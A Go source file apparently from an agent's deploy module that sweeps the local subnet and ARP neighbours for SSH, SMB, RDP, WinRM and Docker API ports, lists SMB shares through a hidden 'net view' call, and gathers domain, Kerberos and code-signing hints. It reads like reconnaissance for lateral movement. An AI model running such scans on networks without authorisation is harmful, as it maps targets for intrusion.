Files
AetherForge/agent/deploy/service_discovery.go

208 lines
4.7 KiB
Go

package deploy
import (
"encoding/json"
"net"
"runtime"
"strconv"
"strings"
"time"
)
// commonLANPorts are probed on ARP/subnet LAN targets (enumeration only).
var commonLANPorts = []int{22, 445, 3389, 5985, 5986, 2375, 8080, 8443, 2222}
// portServiceNames maps well-known ports to friendly service labels.
var portServiceNames = map[int]string{
22: "ssh",
445: "smb",
3389: "rdp",
5985: "winrm",
5986: "winrm-https",
2375: "docker-api",
8080: "http-alt",
8443: "https-alt",
2222: "ssh-alt",
}
// RunServiceDiscover performs local + LAN service enumeration and returns JSON.
func RunServiceDiscover(maxLANHosts int) string {
if maxLANHosts <= 0 {
maxLANHosts = 32
}
if maxLANHosts > MaxSubnetScanHosts {
maxLANHosts = MaxSubnetScanHosts
}
localIP := localIPv4ForDiscovery()
localSubnet := getSubnet(localIP)
passive := collectPassiveHints()
hints := CollectNetworkHints(maxLANHosts)
for _, h := range appendNetworkHintStrings(hints) {
passive = append(passive, h)
}
result := ServiceDiscoverResult{
ProbedAt: time.Now().UTC().Format(time.RFC3339),
PassiveHints: passive,
Local: ServiceGraphHost{
Host: localIP,
Subnet: localSubnet,
Services: probeLocalServices(),
},
}
lanHosts := discoverLANServiceGraph(maxLANHosts)
result.LANHosts = lanHosts
b, _ := json.Marshal(result)
return string(b)
}
func localIPv4ForDiscovery() string {
ips := getLocalIPs()
for _, ip := range ips {
if isIPv4(ip) {
return ip
}
}
if ip, err := PrimaryLocalIPv4(); err == nil && ip != "" {
return ip
}
return "127.0.0.1"
}
func discoverLANServiceGraph(maxHosts int) []ServiceGraphHost {
targets := lanDiscoveryTargets(maxHosts)
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var hosts []ServiceGraphHost
for _, host := range targets {
if localSet[host] {
continue
}
entries := probeLANHostServices(host)
if len(entries) == 0 {
continue
}
hosts = append(hosts, ServiceGraphHost{
Host: host,
Subnet: getSubnet(host),
Services: entries,
})
}
return hosts
}
func appendNetworkHintStrings(h NetworkHints) []string {
var out []string
if h.DomainJoined {
out = append(out, "domain_joined:"+h.DomainName)
}
if h.PreferJoinLane != "" {
out = append(out, "prefer_join_lane:"+h.PreferJoinLane)
}
for _, s := range h.LdapSRV {
out = append(out, "ldap_srv:"+s)
}
for _, s := range h.KerberosSRV {
out = append(out, "kerberos_srv:"+s)
}
if h.EnterpriseCodeSignCert {
out = append(out, "enterprise_code_sign")
}
return out
}
// lanDiscoveryTargets merges ARP cache neighbors with a capped /24 port knock (Path Tracer LAN discovery).
func lanDiscoveryTargets(maxHosts int) []string {
seen := make(map[string]bool)
var out []string
add := func(ip string) {
ip = strings.TrimSpace(ip)
if ip == "" || !isIPv4(ip) || seen[ip] {
return
}
seen[ip] = true
out = append(out, ip)
}
for _, ip := range arpHosts() {
if len(out) >= maxHosts {
return out
}
add(ip)
}
for _, ip := range getLocalIPs() {
if !isIPv4(ip) || len(out) >= maxHosts {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255 && len(out) < maxHosts; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip {
continue
}
if open := probePorts(candidate, commonLANPorts); len(open) > 0 {
add(candidate)
}
}
}
return out
}
func probeLANHostServices(host string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
open := probePorts(host, commonLANPorts)
for _, p := range open {
name := portServiceNames[p]
if name == "" {
name = "tcp/" + strconv.Itoa(p)
}
entries = append(entries, entryWithLane(name, p, "lan_port"))
}
if smbEntries := probeSMBGraphEntries(host); len(smbEntries) > 0 {
entries = append(entries, smbEntries...)
}
return dedupeEntries(entries)
}
func probeSMBGraphEntries(host string) []ServiceGraphEntry {
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, "445"), 800*time.Millisecond)
if err != nil {
return nil
}
conn.Close()
// Windows net view enumeration is platform-specific; on Unix we only record SMB port.
if runtime.GOOS != "windows" {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
out, err := HiddenOutput("net", "view", "\\\\"+host)
if err != nil {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
shares := parseNetViewShares(strings.TrimSpace(string(out)))
if len(shares) == 0 {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
entries := []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
for _, share := range shares {
entries = append(entries, entryWithLane("smb-share:"+share, 445, "smb_share"))
}
return entries
}